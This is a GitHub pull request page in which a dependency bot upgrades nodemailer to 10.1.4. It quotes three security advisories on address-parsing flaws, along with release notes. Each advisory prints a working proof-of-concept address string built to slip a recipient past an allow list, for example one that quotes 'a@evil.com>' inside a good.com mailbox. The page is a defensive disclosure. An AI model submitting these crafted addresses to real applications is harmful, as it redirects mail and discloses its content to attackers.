Skip to content

fix(deps): update dependency nodemailer to v10.1.4 [security] - #2860

Open
renovate[bot] wants to merge 1 commit into
masterfrom
renovate/npm-nodemailer-vulnerability
Open

renovate[bot] wants to merge 1 commit into
masterfrom
renovate/npm-nodemailer-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Oct 25, 2026

Copy link
Copy Markdown
Contributor

This PR contains the following updates:

Package Change Age Confidence
nodemailer (source) 10.0.15 → 10.1.4 age confidence

Nodemailer: A ">" inside a quoted local part ends an angle-addr early in addressparser, delivering to a domain the header does not name

GHSA-85x2-q946-cp5h

More information

Details

Vulnerability summary

addressparser ends an angle-addr at the first > it sees, including one inside a quoted local part, a comment or a domain literal. The domain is then read off the text in front of that >. <"a@evil.com>"@good.com> is the mailbox "a@evil.com>"@good.com under RFC 5322, and Nodemailer read it as an address at evil.com. The unbracketed spelling of the same value was already read correctly. Affected: 3.0.0 through 10.1.3.

Attacker capabilities

The attacker controls the text of a recipient or sender address that an application passes to Nodemailer, for example a To value entered in a contact or invite form, or the header of an inbound message parsed with mailparser. No access to the application, its configuration or its credentials is needed. The value is a syntactically valid RFC 5322 address that conformant parsers accept without defects.

Realistic exploitation scenario

An application lets users send invitations or notifications only to addresses at an allowed domain and validates the submitted value with a conformant parser or by checking its domain. The attacker submits <"a@evil.com>"@good.com>, which validates as a good.com mailbox. Nodemailer then parses the same value, issues RCPT TO:<"\"a"@evil.com> and the message, with whatever content the application puts into it, is delivered to the attacker's domain. The security boundary crossed is the application's recipient allow list. In the inbound direction, mailparser reports a different address than a conformant reader of the same header, so a display or policy layer built on the two disagrees.

Proof of concept
const addressparser = require('nodemailer/lib/addressparser');
console.log(addressparser("<\"a@evil.com>\"@good.com>"));
// [ { address: '"a@evil.com', name: '@good.com>' } ]

Python's email._header_value_parser.get_address_list reads the same value as "a@evil.com>"@good.com, with no defects reported.

The envelope a message gets is built from the same parse, so sendMail({ to: "<\"a@evil.com>\"@good.com>" }) issues the RCPT TO shown above.

Security impact

Mail that an application intends for an allowed domain is delivered to a domain chosen by the attacker, which discloses its content. It is a security vulnerability rather than a parsing bug because the misreading only occurs for values that a conformant validator approves, so validation done the right way is bypassed. Affected are applications that pass user influenced addresses to Nodemailer and consumers of the standalone parser such as mailparser.

The fix tracks quoted strings, comments and domain literals inside an angle-addr and reads only a > outside them.

Found in an internal review of addressparser on 2026-10-18. Verified on 3.0.0, 6.9.16 and 10.1.3.

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Nodemailer: A ";" inside a quoted string or comment ends an address group early in addressparser, turning display text into a recipient

GHSA-m943-m63m-w62w

More information

Details

Vulnerability summary

addressparser ends an RFC 5322 group at the first ;, including one inside a quoted display name or a comment. The text after it is parsed again as top level recipients with the quoting flipped, so text that every conformant parser reads as a display name or comment becomes a live address. G: (a; <evil@evil.com>) <v@victim.com>; names only v@victim.com, and Nodemailer read it as the single recipient evil@evil.com. Affected: 3.0.0 through 10.1.3.

Attacker capabilities

The attacker controls the text of an address field that an application passes to Nodemailer, or the header of an inbound message parsed with mailparser. No access to the application, its configuration or its credentials is needed. The value is a syntactically valid RFC 5322 group that conformant parsers accept without defects.

Realistic exploitation scenario

An application validates the recipients of a submitted address list with a conformant parser and only allows addresses at its own domain. The attacker submits G: (a; <evil@evil.com>) <v@victim.com>;. The validator sees one mailbox, v@victim.com, and approves it. Nodemailer delivers to evil@evil.com only. The same works through a quoted display name, G: "a;" "<evil@evil.com>" <v@victim.com>;. The boundary crossed is the application's recipient allow list.

Proof of concept
const addressparser = require('nodemailer/lib/addressparser');
console.log(addressparser("G: (a; <evil@evil.com>) <v@victim.com>;"));
// [ { name: 'G', group: [ [Object] ] }, { address: 'evil@evil.com', name: ') v@victim.com' } ]

Python's email._header_value_parser.get_address_list reads the same value as the single mailbox v@victim.com, with no defects reported.

The envelope a message gets is built from the same parse, so sendMail({ to: "G: (a; <evil@evil.com>) <v@victim.com>;" }) issues the RCPT TO shown above.

Security impact

Mail that an application intends for an approved recipient goes to a recipient chosen by the attacker, which discloses its content, and the intended recipient never receives it. The misreading only occurs on values a conformant validator approves, so correct validation is bypassed, which makes it a security issue rather than a parsing bug. Affected are applications that pass user influenced address lists to Nodemailer and consumers of the standalone parser such as mailparser.

The fix tracks quoted strings and comments inside a group and reads only a ; outside them.

Found in an internal review of addressparser on 2026-10-18. Verified on 3.0.0, 6.9.16 and 10.1.3.

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Nodemailer: A nested comment ends early in addressparser, releasing the rest of the comment as a recipient

GHSA-8c8m-p3m8-cjg8

More information

Details

Vulnerability summary

RFC 5322 comments nest. addressparser ended a comment at the first ), including the one that closes a nested comment, and parsed the rest of the outer comment as header text. Victim (x(y) <evil@evil.com>) <v@victim.com> names v@victim.com with x(y) <evil@evil.com> as a comment, and Nodemailer read it as the address evil@evil.com. This is the same shape as the escaped parenthesis fixed in 10.1.2, reached through nesting instead of a quoted-pair. Affected: 3.0.0 through 10.1.3.

Attacker capabilities

The attacker controls the text of an address that an application passes to Nodemailer, or the From or To header of an inbound message parsed with mailparser. No access to the application, its configuration or its credentials is needed. The value is a syntactically valid RFC 5322 address that conformant parsers accept without defects.

Realistic exploitation scenario

An application validates a submitted address with a conformant parser and allows only its own domain. The attacker submits Victim (x(y) <evil@evil.com>) <v@victim.com>, which validates as v@victim.com. Nodemailer delivers to evil@evil.com. In the inbound direction, a DMARC or display layer built on a conformant parser and a mail client built on mailparser disagree on the author of the same message, which is the setting for sender spoofing. The boundary crossed is the application's recipient allow list, or the author check of the receiving side.

Proof of concept
const addressparser = require('nodemailer/lib/addressparser');
console.log(addressparser("Victim (x(y) <evil@evil.com>) <v@victim.com>"));
// [ { address: 'evil@evil.com', name: 'Victim) v@victim.com' } ]

Python's email._header_value_parser.get_address_list reads the same value as v@victim.com with the display name Victim, with no defects reported.

The envelope a message gets is built from the same parse, so sendMail({ to: "Victim (x(y) <evil@evil.com>) <v@victim.com>" }) issues the RCPT TO shown above.

Security impact

Mail intended for an approved recipient is delivered to an attacker chosen domain, disclosing its content, and parsers built on this module report a different author than conformant ones. The misreading only occurs on values a conformant validator approves, so correct validation is bypassed. Affected are applications that pass user influenced addresses to Nodemailer and consumers of the standalone parser such as mailparser.

The fix counts comment depth and ends a comment only at the ) that closes the outermost one.

Found in an internal review of addressparser on 2026-10-18. Verified on 3.0.0, 6.9.16 and 10.1.3.

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

nodemailer/nodemailer (nodemailer)

v10.1.4

Compare Source

Bug Fixes
  • addressparser: apply the unexpected "<" rule outside quotes and comments (ee35f57)
  • addressparser: bound group nesting at ten levels (ce63303)
  • addressparser: drop the obsolete route from an angle-addr (3dbc730)
  • addressparser: end a comment only at the ")" that closes the outermost one (0a87617)
  • addressparser: honour quoted strings and comments inside an angle-addr and a group (1cd57d2)
  • addressparser: never read a mailbox out of a comment (a1538ea)
  • addressparser: read CFWS beside the "@​" of an addr-spec as nothing (ba3c095)
  • addressparser: read the first addr-spec of the display text (038940a)
  • split a domain literal off at the "@​" in front of it (d5983b0)

v10.1.3

Compare Source

Bug Fixes
  • format References and strip URLs in linear time, release any number of streams (2f18641)

v10.1.2

Compare Source

Bug Fixes
  • bound the work a message can make the mailer do and keep per-message auth off the transport's token endpoint (e347fa2)

v10.1.1

Compare Source

Bug Fixes
  • fetch: strip credentials on any cross-origin redirect (a15360c)

v10.1.0

Compare Source

Features
  • harden message streams, SMTP connections and the connection pool (8009da6)
Bug Fixes
  • do not read the environment or the interface table on import (094179d)
  • end the SMTP session on any 421 reply and drive the envelope through one step (5638ac1)
  • keep ERR_ACCESS_DENIED from the Node.js permission model (8b33a3d)
  • let the proxy handshake and the SMTP connection share one deadline (91ed683)
  • mime-node: decode an SMTPUTF8 domain from its A-label form (e436f4d)
  • mime-node: finish an encoded part only after its output was read (ec97d8f)
  • qp: encode a lone CR or LF in binary quoted-printable parts (42b91d9)
  • smtp-connection: count the wait for the greeting against connectionTimeout (bdcd046)
  • smtp-connection: drop the connection when DATA is taken after a refused sender (f90fb04)
  • smtp-connection: refuse a second connect() call (24ba2e0)
  • turn Nagle off for SMTP sockets and report an early sendmail exit as such (fa9b8d3)
Performance Improvements
  • encode base64 and quoted-printable without per-chunk delays (fd377bb)

v10.0.16

Compare Source

Bug Fixes
  • addressparser: keep an escaped parenthesis inside a comment (c4ae20d)
  • fetch: keep the case of cookie names (#​1888) (9f16eed)
  • fetch: read the cookie name-value pair by position (645e97c)

Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@safedep

safedep Bot commented Oct 25, 2026 •

Copy link
Copy Markdown

SafeDep Report Summary

Green Malicious Packages Badge Green Vulnerable Packages Badge Green Risky License Badge

Package Details
Package Malware Vulnerability Risky License Report
icon nodemailer @ 10.1.4
apps/core/package.json pnpm-lock.yaml
ok icon
ok icon
ok icon
🔗

View complete scan results →

This report is generated by SafeDep GitHub App

@renovate
renovate Bot force-pushed the renovate/npm-nodemailer-vulnerability branch 29 times, most recently from 0ec006d to 96a8f92 Compare October 28, 2026 08:45
@renovate
renovate Bot force-pushed the renovate/npm-nodemailer-vulnerability branch 11 times, most recently from 2823c6d to 39a8c08 Compare October 29, 2026 15:07
@renovate
renovate Bot force-pushed the renovate/npm-nodemailer-vulnerability branch from 39a8c08 to 4e9b0e8 Compare October 29, 2026 19:13

This branch has not been deployed

No deployments
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants